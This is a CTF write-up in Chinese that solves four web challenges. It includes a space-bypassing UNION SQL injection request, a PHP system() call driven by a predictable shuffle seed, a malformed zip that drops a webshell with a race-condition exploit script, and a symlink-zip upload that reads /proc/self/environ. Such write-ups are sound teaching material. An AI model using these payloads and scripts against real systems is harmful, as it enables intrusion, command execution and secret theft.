babysql
最简单的一道,可以直接sqlmap一把梭,仅仅是ban掉了 空格,用 /**/
代替即可
flag在 emails 表里
GET /search.php?id=-1/**/union/**/select/**/1,version(),group_concat(email_id)/**/from/**/emails%23&search=%E6%9F%A5%E8%AF%A2 HTTP/1.1
Host: 1.14.97.218:23504
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://1.14.97.218:23504/search.php?id=1%27+or+1%3D1%2523&search=%E6%9F%A5%E8%AF%A2
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: td_cookie=3934571967
Connection: close
ezphp
源码
<?php
error_reporting(0);
highlight_file(__FILE__);
mt_srand(time());
$a = array("system",$_GET['cmd']);
for ($i=0;$i<=10000;$i++){
array_push($a,"Ctfer");
}
shuffle($a);
$a[$_GET['b']]($a[$_GET['c']]);
shuffle
函数打乱数组是伪随机的,本地启个环境把时间戳种子提前几秒找到对应的下标,后续进行爆破即可
另外两道逆天的题没做出来,赛后复现
upload
黑盒测试发现只能上传 .zip
和 .rar
文件,而且无任何回显,搁着猜谜呢
扫目录扫出来 .upload.php.swo
谁家的字典这么好用啊😓
得到 upload.php 的源码
<?php
error_reporting(0);
$type = pathinfo($_FILES["file"]["name"],PATHINFO_EXTENSION);
if ($type != "zip" && $type != "rar"){
die("no");
}
$random_path = "upload/".md5(uniqid(mt_rand(), true));
$file_name = md5(uniqid(mt_rand(), true)).".zip";
mkdir($random_path);
$file_path = $random_path."/".$file_name;
move_uploaded_file($_FILES['file']['tmp_name'],$file_path);
$zip = new ZipArchive();
if (file_exists($file_path)){
try {
$zip->open($file_path);
$zip->extractTo($random_path);
$zip->close();
}catch (Throwable $e){
$zip->close();
rename($random_path,"error/".md5(time()));
}
}
system("rm -rf error/*");
system("rm -rf upload/*");
上传 .zip
文件后会在 upload
目录下创建一个 随机目录, zip文件放在这个随机目录里,且文件名也是随机的,之后会将这个 .zip
文件解压到 upload
下的随机目录中,所以想要直接访问解压后的文件不太现实。注意到程序进行了异常捕获,解压出错时会重命名 upload
目录及下面的目录名称(文件名没变),改为了 error/md5(time())
。
所以现在就需要构造一个会让 ZipArchive
出现异常的压缩包,把文件解压缩到 error/md5(time())
这个确定的目录下,然后条件竞争访问即可。
怎么构造这样的压缩包呢,这里我直接用p神的原话了:
https://wx.zsxq.com/dweb2/index/topic_detail/818248224188122
怎么制造一个只能解压一半的压缩包(即解压到一半出错的)? 这个问题其实需要看具体情况,看解压的那个程序的容忍程度。因为finecms这个例子太久远了,我也懒得找那么久远的代码来复现,我这里就以两个解压的程序作为例子:
- Windows下的7zip
- PHP自带的ZipArchive库 先说7zip。
7zip的容忍度很低,只要压缩包中某一个文件的CRC校验码出错,就会报错退出。 如何修改压缩包里文件的CRC校验码呢?可以使用010editor。我们先准备两个文件,一个PHP文件1.php,一个文本文件2.txt,其中1.php是webshell。然后将这两个文件压缩成shell.zip。 然后我们用010editor打开shell.zip,可以看到右下角有这个文件的格式信息,它被分成5部分,如图1。
我们打开第4部分,其中有个deCrc,我们随便把值改成其他的值,然后保存,图2。
此时用7zip解压就会出错,解压出的1.php是完好的,2.txt是一个空文件,如图3。
我们再用PHP自带的ZipArchive库(代码如图4)测试这个zip,发现解压并没有出错,这也说明ZipArchive的容忍度比较高。 那么我们又如何让ZipArchive出错呢?最简单的方法,我们可以在文件名上下功夫。 比如,Windows下不允许文件名中包含冒号(:
),我们就可以在010editor中将2.txt的deFileName属性的值改成“2.tx:
”,如图5。
此时解压就会出错,但1.php被保留了下来,如图6。
在Linux下也有类似的方法,我们可以将文件名改成5个斜杠(/////),如图7
此时Linux下解压也会出错,但1.php被保留了下来,如图8。
按上述方法准备一个 shell.php
和 1.txt
,将他们一起压缩,然后用010edit修改这个压缩包里 1.txt
的 deFileName
为 5个斜杠 /////
保存上传然后条件竞争访问
这里因为题目环境无了,也不知道是php版本的我呢提还是啥的,打不出来错误,只有警告,后面自己魔改了下,把try catch改为了if 判断,解压失败会返回 false
,一个意思,不影响思路。
<?php
error_reporting(0);
$type = pathinfo($_FILES["file"]["name"],PATHINFO_EXTENSION);
if ($type != "zip" && $type != "rar"){
die("no");
}
$random_path = "upload/".md5(uniqid(mt_rand(), true));
$file_name = md5(uniqid(mt_rand(), true)).".zip";
mkdir($random_path);
$file_path = $random_path."/".$file_name;
move_uploaded_file($_FILES['file']['tmp_name'],$file_path);
$zip = new ZipArchive();
if (file_exists($file_path)){
$zip->open($file_path);
$res = $zip->extractTo($random_path);
if($res) { //改为了if判断是否解压成功
$zip->close();
}else {
$zip->close();
rename($random_path,"error/".md5(time()));
}
}
system("rm -rf error/*");
system("rm -rf upload/*");
打条件竞争拿道flag,exp
import requests
import hashlib
import threading
import time
url = 'http://localhost'
def upload():
requests.post(f"{url}/upload.php", files={'file': open('exp.zip', 'rb')})
dir = hashlib.md5(str(int(time.time())).encode()).hexdigest()
response = requests.post(f"{url}/error/{dir}/shell.php", data={'cmd': "system('cat /*');"})
if response.status_code == 200:
print(response.text)
exit(0)
if __name__ == '__main__':
while True:
a = threading.Thread(target=upload)
b = threading.Thread(target=upload)
a.start()
b.start()
zip-question
这题基本上都卡第一不了,这是misc题吗?破题😅
打开题目环境说
go /backup to pack the source code(with aes encrypted), sha1sum(password) is the filename, good luck!
说了源码是启用 AES-256 模式生成受密码保护的 ZIP 存档
该题解法来自 @Carrot2
这个压缩包的知识点
https://zhuanlan.zhihu.com/p/556802060
简单总结一下
在启用 AES-256 模式生成受密码保护的 ZIP 存档时 ,如果密码太长(大于64字节),ZIP 格式会使用 PBKDF2 算法并对用户提供的密码进行 hash 处理。
举个例子
假如压缩包密码是password
(长度大于64字节),那么压缩程序实际使用的密码为 hashlib.sha1(password.encode()).digest()
/backup访问后能得到一个压缩包,根据题目描述文件名是经过sha1
的压缩包密码,根据上面的补充知识,那么可以写脚本解密文件,这里参考 @Carrot2 的
import binascii
import pyzipper
with pyzipper.AESZipFile('5ed45823400f0de870dae3e6be4e9bb6acfac759.zip') as zf:
zf.extractall(pwd=binascii.unhexlify("5ed45823400f0de870dae3e6be4e9bb6acfac759"))
解密后得到程序源码 main.py
import datetime
import hashlib
import os
import random
import pyzipper
from flask import Flask, Response, send_file, request
app = Flask(__name__)
@app.route('/')
def index():
return Response(
'go /backup to pack the source code(with aes encrypted), sha1sum(password) is the filename, good luck!',
mimetype='text/plain')
@app.route('/hello_world', defaults={"timestamp": None})
@app.route('/hello_world/', defaults={"env": None})
@app.route('/hello_world/<timestamp>')
@app.route('/hello_world/<timestamp>/', methods=['GET'])
@app.route('/hello_world/<timestamp>/<env>', methods=['GET'])
def hello_world(timestamp=None, env=None):
if timestamp is None or env is None:
return Response('hello world!', mimetype='text/plain')
if datetime.datetime.now().timestamp() - float(timestamp):
return Response('timeout', mimetype='text/plain')
e = str(env).split('=')
os.environ[e[0]] = e[1]
resp = Response(str(os.system('dash -x -c "echo hello world"')))
os.environ[e[0]] = ''
return resp
@app.route('/read_flag', methods=['GET', 'POST'])
def read_flag():
if request.method == 'POST':
f = request.files['file']
filename = hashlib.sha1(f.filename.encode(encoding='utf-8')).hexdigest()
rand = hashlib.sha1(random.randbytes(256)).hexdigest()
f.save(f'uploads/{filename}')
os.system(f'unzip -q uploads/{filename} -d uploads/{rand}-d ')
return open(f'uploads/{rand}-d/flag').read()
@app.route('/backup')
def backup():
secret_password = random.randbytes(256)
filename = 'zips/' + hashlib.sha1(secret_password).hexdigest() + '.zip'
with pyzipper.AESZipFile(filename,
'w',
compression=pyzipper.ZIP_DEFLATED,
encryption=pyzipper.WZ_AES) as zf:
zf.setpassword(secret_password)
zf.writestr('main.py', open('./main.py').read())
resp = send_file(filename)
return resp
if __name__ == '__main__':
app.run(port=8000, host='0.0.0.0')
read_flag
这个地方存在任意文件读取漏洞,将一个软连接文件压缩后上传,然后经过这个解压后,读取这个软链接文件就可以达到任意文件读取的目的
根目录没有flag,尝试读取环境变量发现flag
import os
import requests
url = "http://localhost/read_flag"
def readFile(readFile):
os.system("rm -f flag")
os.system("rm -f result.zip")
cmd = f"ln -s {readFile} flag && zip -y result.zip flag"
os.system(cmd)
with open("./result.zip", "rb") as f:
file = {"file": f}
res = requests.post(url, files=file).text
return res
if __name__ == "__main__":
print(readFile("/proc/self/environ"))